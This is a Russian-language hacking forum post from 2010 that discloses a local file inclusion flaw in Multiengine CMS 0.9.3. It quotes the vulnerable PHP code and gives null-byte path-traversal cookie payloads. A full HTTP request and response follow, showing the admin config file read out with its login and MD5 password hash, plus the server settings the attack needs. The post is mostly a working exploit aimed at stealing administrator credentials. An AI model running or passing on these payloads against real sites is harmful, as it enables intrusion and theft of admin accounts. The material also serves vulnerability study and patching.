
19.04.2010, 02:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами:
9000386
Репутация:
1148
|
|
Multiengine CMS 0.9.3LFI
/multiengine/multiengine.php
PHP код:
//error_reporting(0);
//header("Last-Modified: ".gmstrftime("%a, %d %b %Y %H:%M:%S", strtotime(gmdate("D, d M Y 0:00:01"))-86400+date("j")*100)." GMT");
define("THIS_SITE", "http://".$_SERVER['HTTP_HOST']."/", true);
define("CURR_URL", "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], true);
require_once("$enginedir/functions.php");
// Подключаем класс кэша
require_once("$enginedir/cache.class.php");
// Фильтрация входящих данных
if(isset($_GET['mod'])){
$mod= QueryFilter($_GET['mod']);
}
if(isset($_GET['cat'])){
$cat= '/'.QueryFilter($_GET['cat']);
}
if($mod.$cat.$_GET['page']=='robots.txt'){
header('Content-Type: text/plain');
if(!@readfile('robots.txt')){
print "User-Agent: *\r\nDisallow:";
}
exit;
}
if(isset($_GET['page'])){
if($_GET['page']=='index'.$url_ext){
$to= 'index.php?';
if(isset($mod)){
$to.= "mod=$mod";
if(isset($_GET['cat'])){
$to.= "&cat=".$_GET['cat'];
}
}
elseif(isset($_GET['cat'])){
$to.= "cat=".$_GET['cat'];
}
header('HTTP/1.1 301 Moved Permanently');
header('Location: '.UrlRewrite(THIS_SITE.$to));
exit;
}
elseif(strstr($_GET['page'], $url_ext)){
$page= "/".QueryFilter(preg_replace('"(.+)'.$url_ext.'"', '$1', $_GET['page']));
}
else{
Error404();
}
}
else{
$page= "/index";
}
// Подключение модулей
if(isset($mod)){
if(is_file("$enginedir/mods/$mod/mod.php")){
require_once("$enginedir/mods/$mod/mod.php");
}
else{
$cat= "/$mod$cat";
if(is_file("$d_base/pages$cat$page.$db_ext")){
require_once("$enginedir/pages.php");
}
else{
Error404();
}
}
}
else{
require_once("$enginedir/pages.php");
}...
target: index.php
например, в куки тулим:
; mod=../../readme.txt%00
Запрос:
Host=multiengine_cms
User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language=ru,en-us;q=0.7,en;q=0.3
Accept-Encoding=gzip,deflate
Accept-Charset=windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive=300
Connection=keep-alive
Cookie=ffb4935b1bb5d18a2c0f862c02295821=fc3c3d1565 f5a9aa318645a642382fc9; mod=../../readme.txt%00
Cache-Control=max-age=0
Ответ:
Status=OK - 200
Date=Sun, 18 Apr 2010 22:14:24 GMT
Server=Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4
X-Powered-By=PHP/5.2.4
Content-Length=2776
Keep-Alive=timeout=5, max=100
Connection=Keep-Alive
Content-Type=text/html; charset=windows-1251
Читалка
(достаем логин и пасс админа)
посылаем куки: ; cat=/../../multiengine/mods/admin/config.php%00
target: index.php
/multiengine/pages
PHP код:
...
if(is_file("$d_base/pages$cat$page.$db_ext")){
$fpage= file("$d_base/pages$cat$page.$db_ext");
$pagetitle= array_shift($fpage);
$content= implode("\r\n", $fpage);...
Поубирал с кода переводы и пробелы чтоб было видно!
Код HTML:
<?</h1><div class="pagepath"><a href="http://multiengine_cms/">Имя сайта краткое</a> / <a href="http://multiengine_cms/../"></a> / <a href="http://multiengine_cms/../../multiengine/"></a> / <a href="http://multiengine_cms/../../multiengine/mods/admin/config.php_/"></a></div>
$admlogin= 'admin';$admpass= '21232f297a57a5a743894a0e4a801fc3';
?></td>
админко - /admin
Условие:
register_globals = On Jokester:
я не пойму, если зависимость register_globals = On то почему-бы сразу не RFI $enginedir ? Я написал target - index.php чтоб реализовать то, что написано выше!
RFI не получиться , есть причины:
1) если target - multiengine/multiengine.php, то есть .htaccess
2) если target - index.php
index.php
PHP код:
$enginedir= 'multiengine';
require_once("$enginedir/config.php");
$delimiter= '/';
$sitename= 'Имя сайта краткое';
$title= 'Заголовок сайта';
$description= 'Описание сайта';
require_once("$enginedir/multiengine.php");
ps
mg=off, так как замена нулевого байта в is_file() не сработает.
Извинения за то, что код не полностю выложыл!
Последний раз редактировалось Strilo4ka; 20.04.2010 в 02:58..
|
|
|